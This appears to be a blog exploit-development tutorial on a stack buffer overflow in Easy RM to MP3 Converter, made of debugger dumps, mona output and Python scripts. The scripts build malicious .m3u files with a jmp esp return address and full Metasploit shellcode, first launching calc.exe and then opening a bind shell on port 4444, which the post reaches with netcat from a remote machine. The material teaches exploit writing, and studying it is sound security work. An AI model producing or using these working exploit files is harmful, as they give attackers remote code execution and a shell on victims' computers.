000FF740   000FF53C  <▒.  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
000FF744   000FF75C  \▒.  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
000FF748   41414141  AAAA
000FF74C   41414141  AAAA
000FF750   41414141  AAAA
So jumping directly to a memory address may not be a good solution after all. 000FF730 contains some 00 bytes, We never reached the point where we started writing our data after overwrite EIP…


Besides, using a memory address to jump to in an exploit would make the exploit very unreliable. After all, this memory address could be different in other OS versions, languages, etc…)


Long story short : we cannot just overwrite EIP with a direct memory address such as 000ff730. It’s not a good idea because it would not be reliable, and it’s not a good idea because it contains a null byte. We have to use another technique to achieve the same goal : make the application jump to our own provided code. Ideally, we should be able to reference a register (or an offset to a register), ESP in our case, and find a function that will jump to that register. Then we will try to overwrite EIP with the address of that function and it should be time for pancakes and icecream.



Jump to the shellcode in a reliable way

We have managed to put our shellcode exactly where ESP points at (or, if you look at it from a different angle, ESP points directly at the beginning of our shellcode). If that would not have been the case, we would have looked to the contents of other register addresses and hope to find our buffer back. Anyways, in this particular example, we can use ESP.

The reasoning behind overwriting EIP with the address of ESP was that we want the application to jump to ESP and run the shellcode. Jumping to ESP is a very common thing in windows applications. In fact, Windows applications use one or more dll’s, and these dll’s contains lots of code instructions. Furthermore, the addresses used by these dll’s are pretty static. So if we could find a dll that contains the instruction to jump to esp, and if we could overwrite EIP with the address of that instruction in that dll, then it should work, right ? Let’s see. First of all, we need to figure out what the opcode for "jmp esp" is.

We can do this by Launching Easy RM to MP3, then opening windbg and hook windbg to the Easy RM to MP3 application. (Just connect it to the process, don’t do anything in Easy RM to MP3). This gives us the advantage that windbg will see all dll’s/modules that are loaded by the application. (It will become clear why I mentioned this).

Run Easy RM to MP3 Converter in Immunity Debugger, and search for >> all commands in all modules , and we can find that:

Found commands (All modules), item 5 
Address=01AAF23A
Disassembly=JMP ESP
Module Name=C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
disassable code following:

01AAF23A   FFE4             JMP ESP
01AAF23C   FF8D 4E10C744    DEC DWORD PTR SS:[EBP+44C7104E]
01AAF242   24 10            AND AL,10
01AAF244   FFFF             ???                                      ; Unknown command
01AAF246   FFFF             ???                                      ; Unknown command
01AAF248   E8 F3FEE4FF      CALL MSRMCc_2.018FF140
01AAF24D   8B4C24 08        MOV ECX,DWORD PTR SS:[ESP+8]
or

0BADF00D               !mona find -type instr -s "jmp esp" -b 0x018f0000 -t 0x01dbd000

                       ---------- Mona command started on 2015-02-26 23:28:06 (v2.0, rev 554) ----------
0BADF00D               [+] Processing arguments and criteria
0BADF00D                   - Pointer access level : *
0BADF00D                   - Treating search pattern as instr
0BADF00D               [+] Searching from 0x018f0000 to 0x01dbd000
0BADF00D               [+] Preparing output file 'find.txt'
0BADF00D                   - (Re)setting logfile C:\logs\RM2MP3Converter\find.txt
0BADF00D               [+] Generating module info table, hang on...
0BADF00D                   - Processing modules
0BADF00D                   - Done. Let's rock 'n roll.
0BADF00D               [+] Writing results to C:\logs\RM2MP3Converter\find.txt
0BADF00D                   - Number of pointers of type '"jmp esp"' : 13
0BADF00D               [+] Results :
01AE023F                 0x01ae023f (b+0x001f023f)  : "jmp esp" |  {PAGE_READONLY} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01AFD3DB                 0x01afd3db (b+0x0020d3db)  : "jmp esp" |  {PAGE_READONLY} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01AAF23A                 0x01aaf23a (b+0x001bf23a)  : "jmp esp" |  {PAGE_EXECUTE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B1B22A                 0x01b1b22a (b+0x0022b22a)  : "jmp esp" |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B1B72D                 0x01b1b72d (b+0x0022b72d)  : "jmp esp" |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B1CD89                 0x01b1cd89 (b+0x0022cd89)  : "jmp esp" |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B25C9E                 0x01b25c9e (b+0x00235c9e)  : "jmp esp" |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B303D9                 0x01b303d9 (b+0x002403d9)  : "jmp esp" |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B31400                 0x01b31400 (b+0x00241400)  : "jmp esp" | null {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B3736D                 0x01b3736d (b+0x0024736d)  : "jmp esp" |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B3CE34                 0x01b3ce34 (b+0x0024ce34)  : "jmp esp" |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B40159                 0x01b40159 (b+0x00250159)  : "jmp esp" |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
01B42EC0                 0x01b42ec0 (b+0x00252ec0)  : "jmp esp" |  {PAGE_READWRITE} [MSRMCcodec02.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
0BADF00D                   Found a total of 13 pointers
0BADF00D
Excellent. (I did not expect otherwise… jmp esp is a pretty common instruction). When selecting an address, it is important to look for null bytes. You should try to avoid using addresses with null bytes (especially if you need to use the buffer data that comes after the EIP overwrite. The null byte would become a string terminator and the rest of the buffer data will become unusable).

Since we want to put our shellcode in ESP (which is placed in our payload string after overwriting EIP), the jmp esp address from the list must not have null bytes. If this address would have null bytes, we would overwrite EIP with an address that contains null bytes. Null byte acts as a string terminator, so everything that follows would be ignored. In some cases, it would be ok to have an address that starts with a null byte. If the address starts with a null byte, because of little endian, the null byte would be the last byte in the EIP register. And if you are not sending any payload after overwrite EIP (so if the shellcode is fed before overwriting EIP, and it is still reachable via a register), then this will work.

Anyways, we will use the payload after overwriting EIP to host our shellcode, so the address should not contain null bytes.

The first address will do : 0x01AAF23A

If we now overwrite EIP with 0x01AAF23A, a jmp esp will be executed. Esp contains our shellcode… so we should now have a working exploit. Let’s test with our "NOP & break" shellcode.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074
eip = struct.pack("L", 0x01AAF23A)

pad = "\x43" * 4

shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"


with open(media_file, 'w') as f:
    f.write(junk)
    f.write(eip)
    f.write(pad)
    f.write(shellcode)

print "m3u file created successfully !"
Register information:
EAX 62413961
ECX 41386141
EDX 37614136
EBX 61413561
ESP 000FF750 ASCII "0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai
EBP 33614132
ESI 61413161
EDI 41306141
EIP 000FF732
Stack Information here:
000FF714   41414141  AAAA
000FF718   41414141  AAAA
000FF71C   41414141  AAAA
000FF720   41414141  AAAA
000FF724   41414141  AAAA
000FF728   01AAF23A  :▒  MSRMCc_2.01AAF23A
000FF72C   43434343  CCCC
000FF730   41306141  Aa0A
000FF734   61413161  a1Aa
000FF738   33614132  2Aa3
000FF73C   41346141  Aa4A
000FF740   61413561  a5Aa
000FF744   37614136  6Aa7
000FF748   41386141  Aa8A
000FF74C   62413961  a9Ab
000FF750   31624130  0Ab1  <---- ESP Hare (32 bytes from beginning)
000FF754   41326241  Ab2A
000FF758   62413362  b3Ab
000FF75C   35624134  4Ab5
000FF760   41366241  Ab6A
000FF764   62413762  b7Ab
000FF768   39624138  8Ab9
000FF76C   41306341  Ac0A
000FF770   63413163  c1Ac
000FF774   33634132  2Ac3
000FF778   41346341  Ac4A
000FF77C   63413563  c5Ac
000FF780   37634136  6Ac7
000FF784   41386341  Ac8A
000FF788   64413963  c9Ad
000FF78C   31644130  0Ad1
000FF790   41326441  Ad2A
Run the application again, The application now breaks at address 000FFD67, which is the location of our first break. So the jmp esp worked fine (esp started at 000ffd38, but it contains NOPs all the way up to 000FFD66).

All we need to do now is put in our real shellcode and finalize the exploit.

Note: we need more to avoid bad chars in shellcode. View the video online here.


avoid bad chars

Before shellcode, we need to avoid bad chars in shellcode with [!mona bytearray] and [!mona compare].
First, a bytearray is needed.
!mona bytearray -cpb '\x00'
command output as follow:
0BADF00D   [+] Command used:
0BADF00D   !mona bytearray -cpb '\x00'
0BADF00D   Generating table, excluding 1 bad chars...
0BADF00D   Dumping table to file
0BADF00D   [+] Preparing output file 'bytearray.txt'
0BADF00D       - (Re)setting logfile C:\logs\RM2MP3Converter\bytearray.txt
           "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
           "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
           "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
           "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
           "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
           "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
           "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
           "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

0BADF00D
0BADF00D   Done, wrote 255 bytes to file C:\logs\RM2MP3Converter\bytearray.txt
0BADF00D   Binary output saved in C:\logs\RM2MP3Converter\bytearray.bin
0BADF00D
Create crash.m3u with code:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074
eip = struct.pack('L', 0x01AAF23A)

pad = "\x43" * 4
nop ="\x90" * 32 
shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" \
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" \
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" \
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" \
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" \
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

with open(media_file, 'w') as f:
    f.write(junk)
    f.write(eip)
    f.write(pad)
    f.write(nop)
    f.write(shellcode)

print "m3u file created successfully !"
Reload application with Immunity Debugger, and F9 run it. The application loads crash.m3u.
!mona compare -f "C:\logs\RM2MP3Converter\bytearray.bin" -s
Bad chars as follow.
mona Memory comparison results
Address                    Status                     BadChars                   Type                       Location
0x001420f5                 Corruption after 13 bytes                             normal                     Heap
0x000fd428                 Corruption after 8 bytes   00 09                      normal                     Stack
0x000ff730                 Corruption after 8 bytes   00 09                      normal                     Stack
0x0033de50                 Corruption after 47 bytes  00 30                      normal                     Heap
0x7ffb0223                 Corruption after 127 byte  00 80 82 83 84 85 86 87 8  normal                     ??
0x7ffc1423                 Corruption after 127 byte  00 80                      normal                     ??
0x00580a0f                 Corruption after 14 bytes  00 0f 14 15 80             normal                     ??
0x00580b0f                 Corruption after 127 byte  00 80                      normal     
As final, we can exclude '\x00\x09\x0a\x0d'


Get shellcode and finalize the exploit

Metasploit has a nice payload generator that will help you building shellcode. Payloads come with various options, and (depending on what they need to do), can be small or very large. If you have a size limitation in terms of buffer space, then you might even want to look at multi-staged shellcode, or using specifically handcrafted shellcodes such as this one (32byte cmd.exe shellcode for xp sp2 en).

Alternatively, you can split up your shellcode in smaller 'eggs' and use a technique called ‘egg-hunting’ to reassemble the shellcode before executing it. Tutorial 8 and 10 talk about egg hunting and omelet hunters.

msf payload(exec) > generate -b '\x00\x09\x0d\x0a' -t c
/*
 * windows/exec - 220 bytes
 * http://www.metasploit.com
 * Encoder: x86/shikata_ga_nai
 * VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
 * CMD=calc.exe
 */
unsigned char buf[] =
"\xd9\xcd\xd9\x74\x24\xf4\xba\x67\xe1\xfd\x36\x58\x31\xc9\xb1"
"\x31\x83\xc0\x04\x31\x50\x14\x03\x50\x73\x03\x08\xca\x93\x41"
"\xf3\x33\x63\x26\x7d\xd6\x52\x66\x19\x92\xc4\x56\x69\xf6\xe8"
"\x1d\x3f\xe3\x7b\x53\xe8\x04\xcc\xde\xce\x2b\xcd\x73\x32\x2d"
"\x4d\x8e\x67\x8d\x6c\x41\x7a\xcc\xa9\xbc\x77\x9c\x62\xca\x2a"
"\x31\x07\x86\xf6\xba\x5b\x06\x7f\x5e\x2b\x29\xae\xf1\x20\x70"
"\x70\xf3\xe5\x08\x39\xeb\xea\x35\xf3\x80\xd8\xc2\x02\x41\x11"
"\x2a\xa8\xac\x9e\xd9\xb0\xe9\x18\x02\xc7\x03\x5b\xbf\xd0\xd7"
"\x26\x1b\x54\xcc\x80\xe8\xce\x28\x31\x3c\x88\xbb\x3d\x89\xde"
"\xe4\x21\x0c\x32\x9f\x5d\x85\xb5\x70\xd4\xdd\x91\x54\xbd\x86"
"\xb8\xcd\x1b\x68\xc4\x0e\xc4\xd5\x60\x44\xe8\x02\x19\x07\x66"
"\xd4\xaf\x3d\xc4\xd6\xaf\x3d\x78\xbf\x9e\xb6\x17\xb8\x1e\x1d"
"\x5c\x36\x55\x3c\xf4\xdf\x30\xd4\x45\x82\xc2\x02\x89\xbb\x40"
"\xa7\x71\x38\x58\xc2\x74\x04\xde\x3e\x04\x15\x8b\x40\xbb\x16"
"\x9e\x22\x5a\x85\x42\x8b\xf9\x2d\xe0\xd3";
Finalize the python script, and try it out

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074
eip = struct.pack("L", 0x01AAF23A)

pad = "\x43" * 4

nop = "\x90" * 32

shellcode = "\xd9\xcd\xd9\x74\x24\xf4\xba\x67\xe1\xfd\x36\x58\x31\xc9\xb1" \
"\x31\x83\xc0\x04\x31\x50\x14\x03\x50\x73\x03\x08\xca\x93\x41" \
"\xf3\x33\x63\x26\x7d\xd6\x52\x66\x19\x92\xc4\x56\x69\xf6\xe8" \
"\x1d\x3f\xe3\x7b\x53\xe8\x04\xcc\xde\xce\x2b\xcd\x73\x32\x2d" \
"\x4d\x8e\x67\x8d\x6c\x41\x7a\xcc\xa9\xbc\x77\x9c\x62\xca\x2a" \
"\x31\x07\x86\xf6\xba\x5b\x06\x7f\x5e\x2b\x29\xae\xf1\x20\x70" \
"\x70\xf3\xe5\x08\x39\xeb\xea\x35\xf3\x80\xd8\xc2\x02\x41\x11" \
"\x2a\xa8\xac\x9e\xd9\xb0\xe9\x18\x02\xc7\x03\x5b\xbf\xd0\xd7" \
"\x26\x1b\x54\xcc\x80\xe8\xce\x28\x31\x3c\x88\xbb\x3d\x89\xde" \
"\xe4\x21\x0c\x32\x9f\x5d\x85\xb5\x70\xd4\xdd\x91\x54\xbd\x86" \
"\xb8\xcd\x1b\x68\xc4\x0e\xc4\xd5\x60\x44\xe8\x02\x19\x07\x66" \
"\xd4\xaf\x3d\xc4\xd6\xaf\x3d\x78\xbf\x9e\xb6\x17\xb8\x1e\x1d" \
"\x5c\x36\x55\x3c\xf4\xdf\x30\xd4\x45\x82\xc2\x02\x89\xbb\x40" \
"\xa7\x71\x38\x58\xc2\x74\x04\xde\x3e\x04\x15\x8b\x40\xbb\x16" \
"\x9e\x22\x5a\x85\x42\x8b\xf9\x2d\xe0\xd3"


with open(media_file, 'w') as f:
    f.write(junk)
    f.write(eip)
    f.write(pad)
    f.write(nop)
    f.write(shellcode)

print "m3u file created successfully !"
Boom ! We have our first working exploit !

And we can bind 4444 for shell.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074
eip = struct.pack("L", 0x01AAF23A)

pad = "\x43" * 4

nop = "\x90" * 32

shellcode = "\xba\x78\xfe\x28\x18\xd9\xcc\xd9\x74\x24\xf4\x5f\x31\xc9\xb1" \
"\x53\x31\x57\x12\x03\x57\x12\x83\x97\x02\xca\xed\x9b\x13\x89" \
"\x0e\x63\xe4\xee\x87\x86\xd5\x2e\xf3\xc3\x46\x9f\x77\x81\x6a" \
"\x54\xd5\x31\xf8\x18\xf2\x36\x49\x96\x24\x79\x4a\x8b\x15\x18" \
"\xc8\xd6\x49\xfa\xf1\x18\x9c\xfb\x36\x44\x6d\xa9\xef\x02\xc0" \
"\x5d\x9b\x5f\xd9\xd6\xd7\x4e\x59\x0b\xaf\x71\x48\x9a\xbb\x2b" \
"\x4a\x1d\x6f\x40\xc3\x05\x6c\x6d\x9d\xbe\x46\x19\x1c\x16\x97" \
"\xe2\xb3\x57\x17\x11\xcd\x90\x90\xca\xb8\xe8\xe2\x77\xbb\x2f" \
"\x98\xa3\x4e\xab\x3a\x27\xe8\x17\xba\xe4\x6f\xdc\xb0\x41\xfb" \
"\xba\xd4\x54\x28\xb1\xe1\xdd\xcf\x15\x60\xa5\xeb\xb1\x28\x7d" \
"\x95\xe0\x94\xd0\xaa\xf2\x76\x8c\x0e\x79\x9a\xd9\x22\x20\xf3" \
"\x2e\x0f\xda\x03\x39\x18\xa9\x31\xe6\xb2\x25\x7a\x6f\x1d\xb2" \
"\x7d\x5a\xd9\x2c\x80\x65\x1a\x65\x47\x31\x4a\x1d\x6e\x3a\x01" \
"\xdd\x8f\xef\xbc\xd5\x36\x40\xa3\x18\x88\x30\x63\xb2\x61\x5b" \
"\x6c\xed\x92\x64\xa6\x86\x3b\x99\x49\xb9\xe7\x14\xaf\xd3\x07" \
"\x71\x67\x4b\xea\xa6\xb0\xec\x15\x8d\xe8\x9a\x5e\xc7\x2f\xa5" \
"\x5e\xcd\x07\x31\xd5\x02\x9c\x20\xea\x0e\xb4\x35\x7d\xc4\x55" \
"\x74\x1f\xd9\x7f\xee\xbc\x48\xe4\xee\xcb\x70\xb3\xb9\x9c\x47" \
"\xca\x2f\x31\xf1\x64\x4d\xc8\x67\x4e\xd5\x17\x54\x51\xd4\xda" \
"\xe0\x75\xc6\x22\xe8\x31\xb2\xfa\xbf\xef\x6c\xbd\x69\x5e\xc6" \
"\x17\xc5\x08\x8e\xee\x25\x8b\xc8\xee\x63\x7d\x34\x5e\xda\x38" \
"\x4b\x6f\x8a\xcc\x34\x8d\x2a\x32\xef\x15\x5a\x79\xad\x3c\xf3" \
"\x24\x24\x7d\x9e\xd6\x93\x42\xa7\x54\x11\x3b\x5c\x44\x50\x3e" \
"\x18\xc2\x89\x32\x31\xa7\xad\xe1\x32\xe2"


with open(media_file, 'w') as f:
    f.write(junk)
    f.write(eip)
    f.write(pad)
    f.write(nop)
    f.write(shellcode)

print "m3u file created successfully !"
we can attack it from remote machine. 
nc -v ip 4444

Misc

How to get windbg symbols ?
Method 1:
Please creata a windows environment variable called "NTSYMBOL_PATH", set the value to "cachec:\localsymbolshttp://msdl.microsoft.com/download/symbols".

set _NT_SYMBOL_PATH=cache*c:\localsymbols*http://msdl.microsoft.com/download/symbols
Method 2:
Open windbg menu, click "File" >> "Symbol File Path ...", Input "SRVC:\localsymbolshttp://msdl.microsoft.com/download/symbols" (no quotes sign), and Enter.
Set windbg as a default debugger
C:\Program Files\Debugging Tools for Windows (x86)>windbg.exe -I

Conclusion

What we've done and learn.

  1. crash the application
  2. find EIP /ESP address
  3. find availiable ESP space
  4. avoid bad chars
  5. write shellcode
  6. exploit the application

References

[1].https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 
[2].http://resources.infosecinstitute.com/metadata-and-information-security/ 
[3].http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction
[4].http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-exploiting-the-stack-overflow/
[5].https://samsclass.info/127/proj/easymp3-with-aslr.htm
[6].https://samsclass.info/127/proj/vuln-server.htm

Tools

  1. WinDbg
  2. Immunity Debugger
  3. Metasploit

Questions

  1. how to get stack structure details ? (EIP/ESP/EBP)
  2. how to get available stack size ?
  3. how to fuzz a executable file ?

No comments:

Post a Comment